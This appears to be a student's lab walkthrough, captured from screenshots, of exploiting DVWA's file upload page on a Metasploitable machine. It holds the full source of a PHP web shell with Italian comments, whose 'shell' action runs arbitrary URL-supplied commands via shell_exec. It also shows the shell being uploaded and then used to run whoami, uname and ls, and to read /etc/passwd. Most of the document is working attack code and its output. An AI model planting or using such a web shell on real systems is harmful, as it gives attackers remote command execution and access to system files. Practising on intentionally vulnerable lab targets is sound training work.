S6-L1

kali@kali: ~/Desktop

Session Actions Edit View Help

GNU nano 8.7.1 super_shell.php *

```php
<?php
// Controlla se è stato passato un parametro chiamato 'action' nell'URL
if(isset($_GET['action'])) {
    $action = $_GET['action'];

    // Esegue l'azione appropriata in base al parametro 'action'
    switch($action) {
        case 'ls':
            // Elenca il contenuto della directory corrente o specificata
            $dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
            echo "<pre>" . shell_exec("ls -la " . escapeshellarg($dir)) . "</pre>";
            break;
        case 'cat':
            // Legge il contenuto del file specificato
            $file = isset($_GET['file']) ? $_GET['file'] : '';
            if(!empty($file) && is_readable($file)) {
                echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
            } else {
                echo "File non trovato o non leggibile.";
            }
            break;
        case 'whoami':
            // Esegue il comando 'whoami' per mostrare l'utente corrente
            echo "<pre>" . shell_exec("whoami") . "</pre>";
            break;
        case 'pwd':
            // Mostra la directory di lavoro corrente
            echo "<pre>" . getcwd() . "</pre>";
            break;
        case 'shell':
            // Esegue un comando di sistema e stampa l'output (come la shell base)
            $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : '';
            if(!empty($cmd)) {
                echo "<pre>" . shell_exec($cmd) . "</pre>";
            }
            break;
        default:
            echo "Azione non valida.";
            break;
    }
} else {
    // Se non viene fornita un'azione, mostra un menu base o un messaggio
    echo "<h1>Benvenuto nella Super Shell PHP</h1>";
    echo "<p>Utilizza i parametri nell'URL per eseguire azioni.</p>";
    echo "<ul>";
    echo "<li><a href='?action=whoami'>whoami</a></li>";
    echo "<li><a href='?action=pwd'>pwd</a></li>";
    echo "<li><a href='?action=ls&dir=.'>ls .</a></li>";
    echo "<li><a href='?action=ls&dir=/'>ls /</a></li>";
    echo "<li><a href='?action=shell&cmd=uname%20-a'>uname -a</a></li>";
    echo "</ul>";
}
?>
```

DVWA

Home
Instructions
Setup

Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Vulnerability: File Upload

Choose an image to upload:
Browse... No file selected.

Upload

../../hackable/uploads/super_shell.php succesfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
http://blogs.securiteam.com/index.php/archives/1268
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

Damn Vulnerable Web Application (DVWA) v1.0.7

192.168.50.101/dvwa/hackabl ×

Not Secure http://192.168.50.101/dvwa/hackable/uploads/super_shell.php?action=shell&cmd=whoami

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

```
www-data
```

192.168.50.101/dvwa/hackabl ×

Not Secure http://192.168.50.101/dvwa/hackable/uploads/super_shell.php?action=shell&cmd=uname -a

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

192.168.50.101/dvwa/hackabl ×

Not Secure http://192.168.50.101/dvwa/hackable/uploads/super_shell.php?action=ls&dir=/var/www

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

```
total 80
drwxr-xr-x 10 www-data www-data  4096 May 20  2012 .
drwxr-xr-x 14 root     root      4096 Mar 17  2010 ..
drwxrwxrwt  2 root     root      4096 May 20  2012 dav
drwxr-xr-x  8 www-data www-data  4096 May 20  2012 dvwa
-rw-r--r--  1 www-data www-data   891 May 20  2012 index.php
drwxr-xr-x 10 www-data www-data  4096 May 14  2012 mutillidae
drwxr-xr-x 11 www-data www-data  4096 May 14  2012 phpMyAdmin
-rw-r--r--  1 www-data www-data    19 Apr 16  2010 phpinfo.php
drwxr-xr-x  3 www-data www-data  4096 May 14  2012 test
drwxrwxr-x 22 www-data www-data 20480 Apr 19  2010 tikiwiki
drwxrwxr-x 22 www-data www-data 20480 Apr 16  2010 tikiwiki-old
drwxr-xr-x  7 www-data www-data  4096 Apr 16  2010 twiki
```

192.168.50.101/dvwa/hackabl ×

Not Secure http://192.168.50.101/dvwa/hackable/uploads/super_shell.php?action=cat&file=/etc/passwd

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```